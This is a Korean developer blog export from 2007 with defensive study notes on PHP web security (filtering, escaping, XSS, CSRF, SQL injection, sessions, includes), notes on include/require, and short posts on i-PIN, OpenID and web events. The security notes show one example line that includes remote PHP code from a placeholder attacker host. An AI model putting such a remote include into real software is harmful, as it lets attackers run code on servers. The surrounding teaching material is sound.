|
|
ITWeb/개발일반 2007. 8. 22. 14:44
1. 소개
- 단순한 것이 아름답다
- 코딩을 할 때 복잡하게 하게 되면 실수를 하게 되고 이런 부분에서 보안 취약점이 드러난다.
- ?:; 이것 보다 if 문을 사용하는것이 이런 실수를 더 줄일 수 있다.
- 명명 규칙
- 엄격한 명명규칙을 사용하면 코드 전반에서 사용되는 모든 데이터의 출처를 구별하는데 유용하다.
- 적극 권장
- 입력 필터링
- 입력을 구분하는 단계
- 입력을 필터링 하는 단계
- 필터링된 데이터와 오염된 데이터를 구별하는 단계
- 데이터베이스 서버나 RSS 피드 같은 것들도 입력이 될 수 있다.
- 일반적으로 세션 데이터 저장소나 데이터베이스의 데이터를 입력으로 간주하는 것이 보다 안전하며, 중요한 PHP 응용프로그램에 대해서는 이런 관점을 추천한다.
- 필터링에 대해서는 사용자가 필터링 규칙을 따라 오도록 해야 한다.
- 유효하지 않은 데이터를 수정하려는 행위가 오류를 포함할 가능성이 높고, 잘못된 데이터를 통과시킬 수 있다.
- 검사는 수정보다 훨씬 안전한 대안이 될 수 있다.
- 필터링 된 데이터는 다른 변수에 재할당 한다.
- $aFiltered = array();
- $sEmail = $_POST['email'];
- $sEmail = getVerifiedEmail($sEmail); // filtering
- $aFiltered['email'] = $sEmail;
- 출력 이스케이프
- 출력을 구분하는 단계
- 출력을 이스케이프하는 단계
- 심층 방버에 충실하기 위한 지침이다.
- htmlentities()
- mysql_real_escape_string() (addslashes())
- 이스케이프된 데이터와 그렇지 않은 데이터를 구분하는 단계
2. 폼과 URL
- 크로스 사이트 스크립팅(XSS, cross-site scripting) 및 크로스 사이트 리퀘스트 위조(CSRF, cross-site request forgeries) 에 대해 살펴 보고 폼과 HTTP 요청을 직접 조작하는 스푸프(spoof)에 대해서 살펴 볼 것이다.
- 폼과 데이터
- 필터링된 데이터
- 오염된 데이터
- 데이터를 바꿀수 없게 하려면 변수 대신 상수를 사용해야 한다.
- 재정의하려는 시도는 경고를 보여 주지만 값이 변경되지 않는다.
- GET, POST, HTTP 모두 의심해야 한다.
- URL 공격
- GET 전송방식이 보다 많은 데이터를 노출하기 때문에 보다 자주 공격 대상이 된다.
- 파일 업로드 공격
- 클라이언트측과 서버측에서도 제한을 따르도록 해야 한다.
- upload_max_filesize 와 post_max_size 로 제한을 줄 수 있다.
- is_uploaded_file() 과 move_uploaded_file() 함수를 이용해서 파일을 검사한다.
- 크로스 사이트 스크립팅
- 크로스 사이트 리퀘스트 위조
- CSRF (Cross-Site Request Forgery)
- $_REQUEST 를 사용하는것을 권장하지 않는다.
- html 폼에서 GET 대신에 POST를 사용하고 폼 처리 로직에서는 $_REQUEST 대신 $_POST를 사용한다.
- 중요한 처리에 대해서는 사용자가 요청한 것이 맞는지 확인을 요청한다.
- NOTE : 처리를 수행하는 모든 폼은 POST 요청방식을 사용해야 하며 RFC 2616의 9.11 절을 보면 이를 다음과 같이 기술하고 있다. "특히, GET과 HEAD 요청방식은 정보 질의 이외의 처리에 대해서는 사용하지 않아야 한다는 관례가 정착되어 있다. GET 과 HEAD 요청방식은 '안전한' 것으로 간주 되어야 한다. GET 과 HEAD 요청방식을 안정한 것으로 간주하면 사용자 에이전트는 POST, PUT, DELETE와 같은 요청방식들을 특별한 방식으로 구분할 수 있으면 사용자는 안전하지 않은 동작이 요청 되고 있다는 사질을 인지할 수 있게 된다"
- 폼 제출시 한 사용자에게만 유효한 토큰을 생성 하여 유효성을 검사한다.
- 토큰의 유효 기간도 설정을 하여 공격에 대비를 할 수 있다.
- 공격자는 한 명의 사용자에게 제한할 수 있다.
- 그렇다고 POST 방식만 사용하려 해서는 안 된다.
- 폼 제출 스푸핑
- 가짜 폼을 조작해서 요청을 한다.
- 레퍼러를 사용해서 폼이 있는 URL 이 유효 한지 검사를 할 수 있으나 자제 하기 바란다.
- HTTP 요청 스푸핑
- 공격자는 HTTP 요청을 조작하여 완전하게 제어할 수 있다.
- telnet 을 이용해서 공격 가능함.
3. 데이터베이스와 SQL
- 데이터베이스에서 가져오는 모든 데이터를 반드시 필터링해야 하며 이스케이프해야 한다.
- 흔히 저지르는 실수는 SELECT 쿼리도 데이터베이스로 보내는 데이터라는 것을 잊어 버리는 것이다.
- 쿼리 자체도 웹 응용프로그램에서 데이터베이스로 보내는 출력이라는 것을 잊지 말아야 한다.
- 액세스 인증 정보 유출
- 웹서버 루트 안쪽에 인클루드 파일들을 저장하는 것은 위험을 자초한 셈이다.
- 웹서버(아파치)에서 .inc 파일에 대한 요청을 거부 하도록 설정할 수 있다.
- < Files ~ "\.inc$" >
- Order allow, deny
- Deny from all
- < /Files >
- SQL 삽입 공격
- 취약점은 입력하는 데이터를 필터링하지 못하는 것과 데이터베이스에 보내는 데이터를 이스케이프하지 못하는 것 이다.
- 2004년 8월에 MD5에서 일부 해시가 충돌 한는 문제가 언급되었다.
- MD5 암호화 알고리즘은 이미 완전히 깨졌다.
- MYSQL 사용자라면 mysql_real_escape_string() 함수만 사용하면 된다.
- 만약 제공하지 않는다면 addSlashes() 를 사용할 수 있다.
- 바운드 매개변수를 사용하면 SQL 삽입 공격에 대해 가장 강력한 보호 수단을 갖춘 것이다.
4. 세션과 쿠키
- 쿠키 홈치기
- 쿠키 사용과 관련된 위험은 공격자가 사용자 쿠키를 훔칠 수 있다는 점이다.
- 예를 들어, 세션ID를 쿠키에 저장한다면 쿠키 노출에 의해 세션 하이재킹까지 가능하기 때문에 심각한 위험이 될수 있다.
- 세션 데이터 노출
- session_set_save_handler() 를 사용해서 자신만의 세션 저장소를 작성하고, 세션 데이터를 저장할 때 암호화하고 가져올 때 해독하는 함수를 작성하는 것으로 쉽게 구현할 수 있다.
- 세션 고정
- 공격자는 유효한 세션ID를 얻기 위해 주로 세 가지 방법을 사용한다.
- SSL 을 사용하고, 브라우저를 최신의 버전으로 유지하는 것으로 낮출 수 있다.
- 세션 하이재킹
- 요청들 속에서 일관성을 인식하고 일관되지 않은 행위에 대해서 의심스러운 것으로 다룬다. 하지만 proxy 를 통해서 위조 될수 도 있다.
- 보다 좋은 방법은 신분 확인의 두번째 형태로도 볼 수 있는 것으로 URL에 토큰을 전달하는 것이다.
5. 인클루드
- 모든 개발자들은 모듈 형태의 디자인의 가치를 이해하고 있어야 한다.
- 소스 코드 유출
- 인클루드 확장자를 .inc 로 사용하는 경우
- 웹 서버 루트에 인클루드를 저장한 경우
- 아파치에서 .inc 파일에 대한 리소스 타입을 지정하지 않은 경우
- 아파치의 DefaultType? 설정이 text/plain 인 경우
- URL 을 통해서 인클루드에 접근 할 수 있고 사용자 브라우저에 소스 코드가 표시될 수 있다.
- 모든 인클루드를 웹 서버 루트 바깥에 저장하는 것이 최선의 방법이다.
- 인클루드의 확장자를 .php 로 하는것, .inc 리소스에 대한 요청을 거부 하도록 아파치를 설정하는 방법 등이 있다.
- 백도어 URL
- URL을 통한 직접 액세스를 의도하지 않았는데 URL을 통해서 직접 리소스에 액세스할 수 있는 것을 말한다.
- 파일 이름 조작
- 동적 인클루드를 사용해서 페이지의 동적인 부분을 캐시하는 것은 장점이 있지만 한편으로 공격자에게 어떤 캐시된 파일을 표시할지 선택할 수 있는 완벽한 기회를 제공하는 것이기도 하다.
- 동적 인클루드를 사용할 때 결코 오염된 데이터를 사용해서는 안 된다는 것이다.
- 코드 삽입 공격
- allow_url_fopen 지시문의 사용은 돌려 주는 소스가 PHP 코드라고 상상해 보면, PHP 코드는 해석되고 실행될 수 있다.
- include 'http://evel.sample.org/evil.inc'
6. 파일과 명령
- 파일 시스템 트래버스
- 오염된 데이터를 파일 이름의 일부로 사용할 때 취약점이 발생한다.
- basename() 함수는 문자열에 원하지 않는 경로 정보가 포함되었는지 조사하는데 유용한 함수다.
- 원격 파일 위험
- PHP 에서 allow_url_fopen 설정이 있으며 기본 값으로 설정되어 있다. 이 옵션이 설정되어 있으면 PHP에서는 다양한 리소스를 마치 로컬 파일처럼 참조할 수 있다. 이런 경우 공격자가 임의의 코드를 실행하는 것이 가능하기 때문에 PHP 응용프로그램이 가질 수 있는 가장 심각한 취약점으로 간주 된다.
- 항상 입력을 필터링 하고 파일 이름을 지정할 때는 필터링된 데이터만 사용해야 한다.
- 명령 삽입 공격
- 가능 하면 쉘 명령의 사용을 피할 것을 권한다. 쉘 명령을 사용해야 한다면 실행할 문자열을 구성하기 위해서 필터링된 데이터만 사용해야 하며 항상 실행 결과를 이스케이프해야 한다.
7. 인증과 권한 부여
- 무차별 공격
- 모든 가능성을 검토하는 공격을 말한다.
- 인증 시도를 제한 하거나 실패 횟수를 제한하는 것은 일반적으로 상당히 효과적인 보호 수단이지만 정상적인 사용자에게 불이익을 주지 않고는 공격자를 식별하고, 막을 수 없다는 딜레마가 존재한다.
- 무차별 공격이 통하지 않게 하기 위해 간단한 시간 지연을 사용할 수 있다.
- 로그인을 실패한 사용자가 15츠 이내에 시도하려고 하면 로그인 정보가 맞더라도 인증이 실패되는 것으로 출력한다.
- 인증 실패의 결과 화면은 항상 같아야 한다.
- 패스워드 스니핑
- 리플레이 공격
- 정상적인 사용자가 액세스권한이나 특별한 권한을 얻기 위해 전송한 데이터를 공격자가 재전송하는 종류의 모든 공격을 뜻한다.
- 로그인 정보 기억
- 쿠키에 저장되는 정보는 인증에 사용될 수 있는 시간대가 제한되어야 한다.
- 쿠키는 1주일 또는 그 이하의 기간 안에 만료 되어야 한다.
- 쿠키는 오직 한 번의 인증에 대해서만 유효해야 한다.
- 일주일 또는 그 이하의 기간 안의 만료는 서버에서 강제 수행되어야 한다.
8. 공유 호스팅
- 소스 코드 유출
- 웹 서버 루트 바깥에 저장된 db.inc 파일이 있다고 하자.
- 이 문제에 대한 가장 좋은 해결책은 root만 읽을 수 있는 파일에 서버 환경 변수로 설정하여 액세스 하는 것이다.
- chmod 600 db.conf
- phpinfo() 같은 함수의 실행 결과를 공개적으로 액세스할 수 없게 해야 한다.
- 세션 데이터 유출
- 가장 좋은 해결책은 사용자 이름과 비밀번호로 보호되는 데이터베이스에 세션 데이트를 저장하는 것이다.
- 세션 삽입 공격
- 이 공격 유형은 웹 서버가 세션 데이터 저장소에 대해 읽기 권한 뿐만 아니라 쓰기 권한도 있다는 사실을 이용한 것이다.
- 가장 좋은 해결책은 데이터베이스에 세션 데이터를 저장하는 것이다.
- 파일 시스템 브라우징
- 안전 모드
- PHP 의 안전모드는 장벽을 높이는 역할을 하기 때문에 심층 방버 전략으로는 고려해볼 만하다.
ITWeb/개발일반 2007. 8. 22. 14:44
include
- include_path 를 먼저 찾는다
- a.php 내부에 b.php 가 include 되어 있으면 b.php 를 먼저 찾는다.
- include 실패시 warning 을 내고 script 는 진행이 되지만 require 는 fatal error 를 내고 정지 한다.
- include 는 변수 scope 을 그대로 유지 한다.
- function, class, defined 는 global scope 을 갖는다.
include() The include() statement includes and evaluates the specified file.
The documentation below also applies to require(). The two constructs are identical in every way except how they handle failure. They both produce a Warning, but require() results in a Fatal Error. In other words, use require() if you want a missing file to halt processing of the page. include() does not behave this way, the script will continue regardless. Be sure to have an appropriate include_path setting as well. Be warned that parse error in included file doesn't cause processing halting in PHP versions prior to PHP 4.3.5. Since this version, it does.
Files for including are first looked for in each include_path entry relative to the current working directory, and then in the directory of current script. E.g. if your include_path is libraries, current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/libraries/ and then in /www/include/. If filename begins with ./ or ../, it is looked only in the current working directory.
When a file is included, the code it contains inherits the variable scope of the line on which the include occurs. Any variables available at that line in the calling file will be available within the called file, from that point forward. However, all functions and classes defined in the included file have the global scope.
require
- 실행중인 processing 을 중지 하고 싶을 때 사용한다.
- 상속을 사용하지 않을 때 사용한다.
- looping 구조에 어떠한 행동도 하지 않는다.
require() and include() are identical in every way except how they handle failure. They both produce a Warning, but require() results in a Fatal Error. In other words, don't hesitate to use require() if you want a missing file to halt processing of the page. include() does not behave this way, the script will continue regardless. Be sure to have an appropriate include_path setting as well.
require() will always attempt to read the target file, even if the line it's on never executes. The conditional statement won't affect require(). However, if the line on which the require() occurs is not executed, neither will any of the code in the target file be executed. Similarly, looping structures do not affect the behaviour of require(). Although the code contained in the target file is still subject to the loop, the require() itself happens only once.
require_once
- 이미 include 되어 있다면 다시 include 하지 않는다.
- require 와 비슷하다.
include_once
- 이미 include 되어 있다면 다시 include 하지 않는다.
- include 와 비슷하다.
reference : http://au.php.net/manual/en/function.include.php
ITWeb/스크랩 2007. 7. 16. 15:04
 vs  i-pin : http://www.kisa.or.kr/kisa/ipin/jsp/ipin.jspopenid : http://www.openid.co.kr/, http://www.openid.or.kr/, http://www.myid.net/이 두가지를 보면 근본적인 목적은 동일 하다고 해야 할것 같다. 웹에서 사용자에 대한 identify 를 부여 한다. 우리에게 주민번호는 매우 중요한 개인 정보 입니다. 그렇기 때문에 이 정보가 웹상에 노출되게 되면 악용될 소지가 다분이 많습니다. (우리 나라가 사기치지 쉬운 나라도 아닌데 의외로 별의별 사기 사건이 많죠...ㅡㅡ^) 한 동안 OpenID 가 왕성하게 이 서비스, 저 서비스에 적용되어 나오고 있었는데 이제 i-PIN 이라는게 나왔으니 판도가 어떻게 변할지 궁금 하내요. (현재도 OpenID 는 활성화 되고 있죠.. ^^*) 한국의 IT 특성상 아마도 모든 포털과 쇼핑몰 들이 i-PIN 으로 인증 방법을 바꾸지 않을까 싶습니다. 이미 네이버, 다음, MS 에서 바꾸겠다고 했으니 역시 그 이외의 서비스 업체들은 순차적으로 변경되지 않을까요? 또 i-PIN 은 정부에서 밀고 있으니 개겨서 좋을게 있을지 잘 모르겠내요..ㅡㅡ^ 아마 전세계적으로 정부에서 이렇게 획일적으로 통합해 버리는 경우가 또 있을지 궁금 합니다. 제 짧은 지식으로는 알수가 없내요. 기술의 발전과 공유 인지 아니면 정책의 획일성으로 인한 기술의 통합인지.. 그냥 깊게 고민해보지 않고 작성해 본 글입니다. 뭐 이 서비스가 나쁘다거나 그런 의견은 아닙니다. 개인 정보는 어떻게 해서든 보호 되어져야 하니까요.
ITWeb/스크랩 2007. 5. 28. 08:53
웹 서비스, 어플리케이션 개발 경험에 대한 자발 적인 웹 기술 공유(?) 발표하는 행사가 있내요.
학생 여러분은 꼭 기술 발표를 하지 않더라도 자원 봉사단으로 신청해서 참관해 보는 것도 좋을것 같다는 생각 입니다.
근데 이거 접수 마감 기간이 촉박해서 미리 준비 하고 있던 사람이 아니면 쉽지 않겠내요.
2007년은 저도 꼭 뭔가 준비해서 공유할 수 있도록 준비를 해보겠습니다.
(작은 거라도 기술의 공유는 업계 발전을 위해서 꼭 필요하다고 생각 합니다.)
http://blog.webappscon.com/
본 행사는 최근 많이 이루어 지는 barcamp 라던가 mashup 경진 대회라던가.. 등등 비슷한 특성이 있는것 같기도 하내요.
준비 열심히 하신 분들은 좋은 결과 있길 바랍니다..
ITWeb/스크랩 2007. 5. 21. 12:29
다음 DNA 에 올라 왔내요.
http://dna.daum.net/archives/201근데 바로 담날 barcamp seoul 2 가 열리는데 하루 전날 이런 행사를 하는건 왜 일까요?? 뭐.. 자기 하고 싶은데로 하는거야 상관은 없겠지만서도 최소한 이런류의 행사에 관심 많은 개발자나 대학생들을 위한다면 조금은 배려를 해줘야 하는게 아닌가 싶내요. ref. barcamp seoul 2 관련글 http://kimnjeong.tistory.com/34http://barcamp.org/BarCampSeoul2
ITWeb/스크랩 2007. 5. 21. 12:28
좀 늦은 감이 없지 않아 있지만.. channy's blog 에 들어가 보시면 이미 8일에 올라온 것들인데.. 저는 메일로 접하고 나서 이제야 정보를 공유 하내요.. channy's blog : http://channy.creation.net/blog/?p=414zdnet : http://www.zdnet.co.kr/news/spotnews/internet/etc/0,39040060,39157414,00.htm (web 2.0 서비스 쇼케이스) 저는 개인적으로 barcamp seoul 두번째 행사랑 KIISS 춘계 학술 대회에 관심이 가내요. ref. http://barcamp.org/BarCampSeoul2이번 주제는 "정보 사회와 기술의 만남" 입니다. ref. http://acoms1.kisti.re.kr/kiiss/conference/index.jsp?lang=kor&publisher_cd=kiiss&cid=KIISS_C2007Aref. http://www.kiiss.or.kr/이번 주제는 " UCC(User Created Content)와 집단 지성(Collective Intelligence)" 입니다. 이런 좋은 행사에 많이들 참여 하셔서 활발한 정보의 순환이 일어 났으면 좋겠습니다.
ITWeb/스크랩 2007. 5. 16. 22:55
한글 : http://www.zdnet.co.kr/news/internet/entertainment/0,39031275,39156966,00.htm영문 : http://news.com.com/2100-1026_3-6176823.html우리의 포털들은 과연 UCC 를 두려워 하고 있을까요? 그리고 정말 소셜 미디어는 국내 포털 또는 블로그에서 대중화가 될수 있을까요? 위 기사를 보면 2/3 의 간부들이라는 사람들은 향후 좋아 질거라고 판단하고 있는것 같내요. 뭐 기사는 미국과 유럽을 대상으로 조사가 된거라서 국내 IT 환경과는 또 다를수도 있을거라고 생각 됩니다. 과연 한국에서도 소셜 미디어, 소셜 서치 등등 SNA(Social Network Analysis)류의 서비스가 언제 어떤 형태로 뜰지 많이 궁금해 집니다. 관련 서비스를 만들고 있는 저로써는 당연히 궁금해 할수 밖에 없는 부분인것 같기도 하구요. ^^*
ITWeb/스크랩 2007. 5. 16. 22:09
행사 참여 : http://lab.softbank.co.kr/blogsummit.aspx관련 기사 : http://www.zdnet.co.kr/itbiz/post/0,39036516,39157554,00.htm이미 아시는 분들은 벌써 알고 계실것 같은데요. 요즘 web2.0 을 이야기 하면서 블로그도 엔터프라이즈화 되어 가고 있죠. 이 행사에서는 요약을 하자면 아래와 같은 3가지 주제로 요약 될것 같내요. 1. 개인 / 기업형 블로그 2. web 2.0 / enterprise 2.0 3. 소셜 / 미디어 저도 요즘 블로그에 대해서 많이 고민을 하고 있는데요. 향후 블로그는 어떤 모습으로 변화 할 까요? 저는 개인적으로 블로그는 미디어 포털이 되지 않을까 하는 생각 입니다. 사용하는 사람들의 특성에 따라서 블로그는 다양한 형태로 운영이 되어 지죠. 가장 사용자의 특성을 잘 반영하는 서비스 이기 때문에 우리가 얘기 하는 web2.0 의 대부분의 영역에 블로그가 안끼는 부분이 없는게 아닌가 싶습니다. 1. 블로그 포털 - personal blog - commercial blog - meta blog - team blog - social blog - media blog - business blog - search blog - kids blog - adult blog - open blog - .... 블로그 포털이라는 것도 역시 쉽지 않겠내요. 사용성도 떨어 지면 안되고 전문성도 떨어지면 안되고 스팸에 대한 해결책도 가지고 있어야 하고 저작권에 대한 해결책도 있어야 하고 ... 근데 블로그는 역시 뭐든 가져다 붙히면 말안되는게 없내요. 기획하는 사람과 만드는 사람이 어떻게 잘 만들어서 포장을 잘해 사용자들에게 쉽게 전달해 주느냐가 참 중요 할것 같내요. ( 이건 네이버가 참 잘하는 부분이죠.. ) 암튼 제가 생각하는 블로그 포털에서는 모두( early adopter, expert, user ...) 가 짜증내지 않으면서 정제된 컨텐츠로 다 같이 만들어 가는 그런 문화를 갖춘 서비스를 만들고 싶내요. (욕심이 과하다는 생각도 듭니다...^^;) 이상 너무 말이 많았내요. 몇시간 안있으면 야후!재미존이 개편한답니다. ^^* 밤샘 새벽 작업을 하고 아침 7시에 오픈 됩니다. 5월 17일 오전 7시 많은 관심 부탁 드립니다.. (홍보 맞구요.. ^^* 제 파트에서 맡고 있는 서비스라 살짝 홍보 해봅니다.. )
ITWeb/스크랩 2007. 5. 10. 15:39
OpenID
Web2.0
Ajax
Framework
Social Network/Search
Javascript/DOM
Flex
Silverlight
OpenAPI
Mashup
Meta Blog
Blog Portal
Community
UCC
Collective Intelligence
Open Source
정말 많기도 하다..
요즘.. 사무실에서 일하면서 많이 듣거나 생각하게 하거나 하는 그런 것들 입니다.
내가 알아가는 시간이나 기간보다 IT(web) 은 너무도 짧은 시간에 많은걸 던져주고 있으니.. 실력이 부족한 저를 원망하게 되내요..
그래도.. 좋아 하는 분야이기에..ㅋ 근데 집사람이 많이 싫어 합니다..
야근이 많다고.. ^^;
그래도 뒤쳐지지 않을려면 열심히 트랜드도 읽고 분석하고 배우고 해야 하지 않겠습니까...
분명, 언젠가는 따라가는 사람이 아닌 이끄는 리더가 될 그날을 상상해 보며... ^^*
아싸.. 화이팅!!
ITWeb/스크랩 2007. 4. 23. 10:43
|
